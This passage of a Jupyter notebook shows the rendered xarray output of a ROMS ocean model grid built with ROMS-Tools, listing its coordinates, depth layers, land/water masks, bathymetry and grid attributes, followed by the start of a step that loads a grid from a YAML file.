for='attrs-41fde44c-cd0a-4d9e-9a47-1d925d6e114b' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-5e2978d9-093d-419c-b3b1-f8040add48d6' class='xr-var-data-in' type='checkbox'><label for='data-5e2978d9-093d-419c-b3b1-f8040add48d6' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>longitude of rho-points</dd><dt><span>units :</span></dt><dd>degrees East</dd></dl></div><div class='xr-var-data'><pre>[10404 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lat_u</span></div><div class='xr-var-dims'>(eta_rho, xi_u)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-1eda927e-fca2-4e62-aebc-fcca2e67d8d8' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-1eda927e-fca2-4e62-aebc-fcca2e67d8d8' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-666ffa87-685c-4099-ad0d-78ade3e89049' class='xr-var-data-in' type='checkbox'><label for='data-666ffa87-685c-4099-ad0d-78ade3e89049' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>latitude of u-points</dd><dt><span>units :</span></dt><dd>degrees North</dd></dl></div><div class='xr-var-data'><pre>[10302 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lon_u</span></div><div class='xr-var-dims'>(eta_rho, xi_u)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-aac7701f-fb62-4f24-858d-02b6c9d8e7d1' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-aac7701f-fb62-4f24-858d-02b6c9d8e7d1' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e320f3ed-c211-445f-9c9b-31e89e59ab10' class='xr-var-data-in' type='checkbox'><label for='data-e320f3ed-c211-445f-9c9b-31e89e59ab10' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>longitude of u-points</dd><dt><span>units :</span></dt><dd>degrees East</dd></dl></div><div class='xr-var-data'><pre>[10302 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lat_v</span></div><div class='xr-var-dims'>(eta_v, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-d73c4b59-a726-4edc-b0ba-cb1c3070a75e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-d73c4b59-a726-4edc-b0ba-cb1c3070a75e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-73d515a3-a806-4ed3-9cbc-7d9854cd5d29' class='xr-var-data-in' type='checkbox'><label for='data-73d515a3-a806-4ed3-9cbc-7d9854cd5d29' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>latitude of v-points</dd><dt><span>units :</span></dt><dd>degrees North</dd></dl></div><div class='xr-var-data'><pre>[10302 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lon_v</span></div><div class='xr-var-dims'>(eta_v, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-d6f8f961-ca27-422c-9c3d-cf246f73ea8c' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-d6f8f961-ca27-422c-9c3d-cf246f73ea8c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-5b969312-5bf6-40c0-bff6-2f7e040507de' class='xr-var-data-in' type='checkbox'><label for='data-5b969312-5bf6-40c0-bff6-2f7e040507de' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>longitude of v-points</dd><dt><span>units :</span></dt><dd>degrees East</dd></dl></div><div class='xr-var-data'><pre>[10302 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lat_coarse</span></div><div class='xr-var-dims'>(eta_coarse, xi_coarse)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-1188af62-564c-4afc-a084-7a99419e7b1b' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-1188af62-564c-4afc-a084-7a99419e7b1b' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-d7b35cf6-6131-41b8-98c5-cb3d328bb312' class='xr-var-data-in' type='checkbox'><label for='data-d7b35cf6-6131-41b8-98c5-cb3d328bb312' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>latitude of rho-points on coarsened grid</dd><dt><span>units :</span></dt><dd>degrees North</dd></dl></div><div class='xr-var-data'><pre>[2704 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>lon_coarse</span></div><div class='xr-var-dims'>(eta_coarse, xi_coarse)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-e9c78c24-0835-4f70-82b8-b16919615357' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e9c78c24-0835-4f70-82b8-b16919615357' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-24ef3033-9895-486b-b293-0320b8520e2e' class='xr-var-data-in' type='checkbox'><label for='data-24ef3033-9895-486b-b293-0320b8520e2e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>longitude of rho-points on coarsened grid</dd><dt><span>units :</span></dt><dd>degrees East</dd></dl></div><div class='xr-var-data'><pre>[2704 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>layer_depth_rho</span></div><div class='xr-var-dims'>(s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-eb0ed9b6-14bd-4911-8461-d858878253c2' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-eb0ed9b6-14bd-4911-8461-d858878253c2' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-1920dce5-707e-40ca-be82-f8b8adb14b4b' class='xr-var-data-in' type='checkbox'><label for='data-1920dce5-707e-40ca-be82-f8b8adb14b4b' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Layer depth at rho-points</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>[1040400 values with dtype=float32]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>layer_depth_u</span></div><div class='xr-var-dims'>(s_rho, eta_rho, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-644b6b8c-907e-4c7b-948d-c845da69e467' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-644b6b8c-907e-4c7b-948d-c845da69e467' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-52411fde-bdc9-4183-840d-f0b43eef016e' class='xr-var-data-in' type='checkbox'><label for='data-52411fde-bdc9-4183-840d-f0b43eef016e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Layer depth at u-points</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>[1030200 values with dtype=float32]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>layer_depth_v</span></div><div class='xr-var-dims'>(s_rho, eta_v, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-b925d74c-6443-4fe3-9c0c-8ce33e744b97' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-b925d74c-6443-4fe3-9c0c-8ce33e744b97' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-1c38fcfb-b739-4640-82f3-5f4cd0297b35' class='xr-var-data-in' type='checkbox'><label for='data-1c38fcfb-b739-4640-82f3-5f4cd0297b35' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Layer depth at v-points</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>[1030200 values with dtype=float32]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>interface_depth_rho</span></div><div class='xr-var-dims'>(s_w, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-a5749950-cc11-4fcb-8369-936cf42d4541' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-a5749950-cc11-4fcb-8369-936cf42d4541' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-67e55ca3-1e00-4091-b9bd-abc195be1413' class='xr-var-data-in' type='checkbox'><label for='data-67e55ca3-1e00-4091-b9bd-abc195be1413' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Interface depth at rho-points</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>[1050804 values with dtype=float32]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>interface_depth_u</span></div><div class='xr-var-dims'>(s_w, eta_rho, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-a264ba7a-8730-455f-9afc-937521943998' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-a264ba7a-8730-455f-9afc-937521943998' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-62853020-f156-4ea8-a4ae-c7ba4e5a5ebe' class='xr-var-data-in' type='checkbox'><label for='data-62853020-f156-4ea8-a4ae-c7ba4e5a5ebe' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Interface depth at u-points</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>[1040502 values with dtype=float32]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>interface_depth_v</span></div><div class='xr-var-dims'>(s_w, eta_v, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-dfb0ce84-57c7-4f3a-8128-91f8b867620a' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-dfb0ce84-57c7-4f3a-8128-91f8b867620a' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-d0f1d461-174f-4d9b-b177-e480074f1cc0' class='xr-var-data-in' type='checkbox'><label for='data-d0f1d461-174f-4d9b-b177-e480074f1cc0' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Interface depth at v-points</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>[1040502 values with dtype=float32]</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-64bc3d40-fdb1-4baf-8de2-73be4ed559dd' class='xr-section-summary-in' type='checkbox' checked><label for='section-64bc3d40-fdb1-4baf-8de2-73be4ed559dd' class='xr-section-summary' >Data variables: <span>(13)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>angle</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-e79349c2-f78c-48c7-acdf-47055ca38de6' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e79349c2-f78c-48c7-acdf-47055ca38de6' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-214cd24b-de50-4ada-9913-133e93c0fa51' class='xr-var-data-in' type='checkbox'><label for='data-214cd24b-de50-4ada-9913-133e93c0fa51' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Angle between xi axis and east</dd><dt><span>units :</span></dt><dd>radians</dd></dl></div><div class='xr-var-data'><pre>[10404 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>f</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-93dd8dbd-fa7f-4fcb-8155-389b4a2e25df' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-93dd8dbd-fa7f-4fcb-8155-389b4a2e25df' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-2df95fd5-e31a-4355-873e-2b2ebf7fe8de' class='xr-var-data-in' type='checkbox'><label for='data-2df95fd5-e31a-4355-873e-2b2ebf7fe8de' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Coriolis parameter at rho-points</dd><dt><span>units :</span></dt><dd>second-1</dd></dl></div><div class='xr-var-data'><pre>[10404 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>pm</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-e6388a4d-2f89-497c-bcd0-acfddb51f117' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e6388a4d-2f89-497c-bcd0-acfddb51f117' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-007655ee-e82d-4e9d-9c69-58337da7c664' class='xr-var-data-in' type='checkbox'><label for='data-007655ee-e82d-4e9d-9c69-58337da7c664' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Curvilinear coordinate metric in xi-direction</dd><dt><span>units :</span></dt><dd>meter-1</dd></dl></div><div class='xr-var-data'><pre>[10404 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>pn</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-c8913903-aedd-467c-ad41-9512812e967e' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c8913903-aedd-467c-ad41-9512812e967e' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-1574e73c-c8bf-4941-9bfd-5ea4c13b5abc' class='xr-var-data-in' type='checkbox'><label for='data-1574e73c-c8bf-4941-9bfd-5ea4c13b5abc' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Curvilinear coordinate metric in eta-direction</dd><dt><span>units :</span></dt><dd>meter-1</dd></dl></div><div class='xr-var-data'><pre>[10404 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>spherical</span></div><div class='xr-var-dims'>()</div><div class='xr-var-dtype'>|S1</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-fc0faa17-92aa-4c82-8f97-26343fc35366' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-fc0faa17-92aa-4c82-8f97-26343fc35366' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-059779b8-e626-42de-b8d1-6f73cc2efe5c' class='xr-var-data-in' type='checkbox'><label for='data-059779b8-e626-42de-b8d1-6f73cc2efe5c' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>Long_name :</span></dt><dd>Grid type logical switch</dd><dt><span>option_T :</span></dt><dd>spherical</dd></dl></div><div class='xr-var-data'><pre>[1 values with dtype=|S1]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>mask_rho</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>int32</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-7b01a399-96bc-4d93-a844-5f97fe797c33' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-7b01a399-96bc-4d93-a844-5f97fe797c33' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-e7decffe-e1cb-4331-936a-58cb8e7a7bc3' class='xr-var-data-in' type='checkbox'><label for='data-e7decffe-e1cb-4331-936a-58cb8e7a7bc3' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Mask at rho-points</dd><dt><span>units :</span></dt><dd>land/water (0/1)</dd></dl></div><div class='xr-var-data'><pre>[10404 values with dtype=int32]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>mask_u</span></div><div class='xr-var-dims'>(eta_rho, xi_u)</div><div class='xr-var-dtype'>int32</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-01e23da7-e753-40f1-b1ee-f06355caadfe' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-01e23da7-e753-40f1-b1ee-f06355caadfe' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-40f4fa32-74c9-49c1-b33b-9a95fac2944e' class='xr-var-data-in' type='checkbox'><label for='data-40f4fa32-74c9-49c1-b33b-9a95fac2944e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Mask at u-points</dd><dt><span>units :</span></dt><dd>land/water (0/1)</dd></dl></div><div class='xr-var-data'><pre>[10302 values with dtype=int32]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>mask_v</span></div><div class='xr-var-dims'>(eta_v, xi_rho)</div><div class='xr-var-dtype'>int32</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-e5462fdf-d925-46d3-81e2-18820db7bce0' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e5462fdf-d925-46d3-81e2-18820db7bce0' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7df28651-89d9-4763-a4ef-f0c520f547b4' class='xr-var-data-in' type='checkbox'><label for='data-7df28651-89d9-4763-a4ef-f0c520f547b4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Mask at v-points</dd><dt><span>units :</span></dt><dd>land/water (0/1)</dd></dl></div><div class='xr-var-data'><pre>[10302 values with dtype=int32]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>h</span></div><div class='xr-var-dims'>(eta_rho, xi_rho)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-da010911-52a7-4616-8286-e5bf5fc705ec' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-da010911-52a7-4616-8286-e5bf5fc705ec' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-94f5a0a1-fa43-405e-a50c-ace387442bab' class='xr-var-data-in' type='checkbox'><label for='data-94f5a0a1-fa43-405e-a50c-ace387442bab' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Final bathymetry at rho-points</dd><dt><span>units :</span></dt><dd>meter</dd></dl></div><div class='xr-var-data'><pre>[10404 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>angle_coarse</span></div><div class='xr-var-dims'>(eta_coarse, xi_coarse)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-7ce42695-25b8-44f9-9538-307c46f7f948' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-7ce42695-25b8-44f9-9538-307c46f7f948' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-a8233b0e-b497-4d86-ab41-b791763ef5db' class='xr-var-data-in' type='checkbox'><label for='data-a8233b0e-b497-4d86-ab41-b791763ef5db' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Angle between xi axis and east on coarsened grid</dd><dt><span>units :</span></dt><dd>radians</dd></dl></div><div class='xr-var-data'><pre>[2704 values with dtype=float64]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>mask_coarse</span></div><div class='xr-var-dims'>(eta_coarse, xi_coarse)</div><div class='xr-var-dtype'>int32</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-423983cb-1225-40b7-afc0-1174460b7c99' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-423983cb-1225-40b7-afc0-1174460b7c99' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-142bc25a-77e0-4622-aeff-0c715ccc5e8b' class='xr-var-data-in' type='checkbox'><label for='data-142bc25a-77e0-4622-aeff-0c715ccc5e8b' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>Mask at rho-points on coarsened grid</dd><dt><span>units :</span></dt><dd>land/water (0/1)</dd></dl></div><div class='xr-var-data'><pre>[2704 values with dtype=int32]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Cs_r</span></div><div class='xr-var-dims'>(s_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-0134a373-7491-4888-9716-eba27908e434' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-0134a373-7491-4888-9716-eba27908e434' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-1c8c76f9-d3da-4517-ba0b-53f180b5a795' class='xr-var-data-in' type='checkbox'><label for='data-1c8c76f9-d3da-4517-ba0b-53f180b5a795' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>S-coordinate stretching curves at rho-points</dd><dt><span>units :</span></dt><dd>nondimensional</dd></dl></div><div class='xr-var-data'><pre>[100 values with dtype=float32]</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Cs_w</span></div><div class='xr-var-dims'>(s_w)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>...</div><input id='attrs-e1686930-057e-4276-a557-1d08cd90da43' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-e1686930-057e-4276-a557-1d08cd90da43' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-bafa070b-a348-4558-994b-692ac20fa6d7' class='xr-var-data-in' type='checkbox'><label for='data-bafa070b-a348-4558-994b-692ac20fa6d7' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>S-coordinate stretching curves at w-points</dd><dt><span>units :</span></dt><dd>nondimensional</dd></dl></div><div class='xr-var-data'><pre>[101 values with dtype=float32]</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-cd94754d-670f-4bf5-83af-fb819db5ed5a' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-cd94754d-670f-4bf5-83af-fb819db5ed5a' class='xr-section-summary' title='Expand/collapse section'>Indexes: <span>(0)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'></ul></div></li><li class='xr-section-item'><input id='section-5c90e0f9-19fb-4fe8-885f-52151b626e89' class='xr-section-summary-in' type='checkbox' ><label for='section-5c90e0f9-19fb-4fe8-885f-52151b626e89' class='xr-section-summary' >Attributes: <span>(12)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS grid created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>size_x :</span></dt><dd>1800</dd><dt><span>size_y :</span></dt><dd>2400</dd><dt><span>center_lon :</span></dt><dd>-10</dd><dt><span>center_lat :</span></dt><dd>61</dd><dt><span>rot :</span></dt><dd>20</dd><dt><span>topography_source :</span></dt><dd>ETOPO5</dd><dt><span>hmin :</span></dt><dd>5.0</dd><dt><span>theta_s :</span></dt><dd>5.0</dd><dt><span>theta_b :</span></dt><dd>2.0</dd><dt><span>hc :</span></dt><dd>300.0</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 26MB\n", "Dimensions: (eta_rho: 102, xi_rho: 102, xi_u: 101, eta_v: 101,\n", " eta_coarse: 52, xi_coarse: 52, s_rho: 100, s_w: 101)\n", "Coordinates: (12/14)\n", " lat_rho (eta_rho, xi_rho) float64 83kB ...\n", " lon_rho (eta_rho, xi_rho) float64 83kB ...\n", " lat_u (eta_rho, xi_u) float64 82kB ...\n", " lon_u (eta_rho, xi_u) float64 82kB ...\n", " lat_v (eta_v, xi_rho) float64 82kB ...\n", " lon_v (eta_v, xi_rho) float64 82kB ...\n", " ... ...\n", " layer_depth_rho (s_rho, eta_rho, xi_rho) float32 4MB ...\n", " layer_depth_u (s_rho, eta_rho, xi_u) float32 4MB ...\n", " layer_depth_v (s_rho, eta_v, xi_rho) float32 4MB ...\n", " interface_depth_rho (s_w, eta_rho, xi_rho) float32 4MB ...\n", " interface_depth_u (s_w, eta_rho, xi_u) float32 4MB ...\n", " interface_depth_v (s_w, eta_v, xi_rho) float32 4MB ...\n", "Dimensions without coordinates: eta_rho, xi_rho, xi_u, eta_v, eta_coarse,\n", " xi_coarse, s_rho, s_w\n", "Data variables: (12/13)\n", " angle (eta_rho, xi_rho) float64 83kB ...\n", " f (eta_rho, xi_rho) float64 83kB ...\n", " pm (eta_rho, xi_rho) float64 83kB ...\n", " pn (eta_rho, xi_rho) float64 83kB ...\n", " spherical |S1 1B ...\n", " mask_rho (eta_rho, xi_rho) int32 42kB ...\n", " ... ...\n", " mask_v (eta_v, xi_rho) int32 41kB ...\n", " h (eta_rho, xi_rho) float64 83kB ...\n", " angle_coarse (eta_coarse, xi_coarse) float64 22kB ...\n", " mask_coarse (eta_coarse, xi_coarse) int32 11kB ...\n", " Cs_r (s_rho) float32 400B ...\n", " Cs_w (s_w) float32 404B ...\n", "Attributes:\n", " title: ROMS grid created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " size_x: 1800\n", " size_y: 2400\n", " center_lon: -10\n", " center_lat: 61\n", " rot: 20\n", " topography_source: ETOPO5\n", " hmin: 5.0\n", " theta_s: 5.0\n", " theta_b: 2.0\n", " hc: 300.0" ] }, "execution_count": 12, "metadata": {}, "output_type": "execute_result" } ], "source": [ "the_same_grid.ds" ] }, { "cell_type": "markdown", "id": "c49cd583-3c09-4f4a-b963-8218c22e2afc", "metadata": {}, "source": [ "Alternatively, we can create a grid from an existing YAML file." ] }, { "cell_type": "code", "execution_count": 13, "id": "0d267619-2d40-429b-9e2b-ce5806a9836a", "metadata": { "tags": [] }, "outputs": [], "source": [ "yaml_filepath = \"/pscratch/sd/n/nloose/grids/my_roms_grid.yaml\"" ] }, { 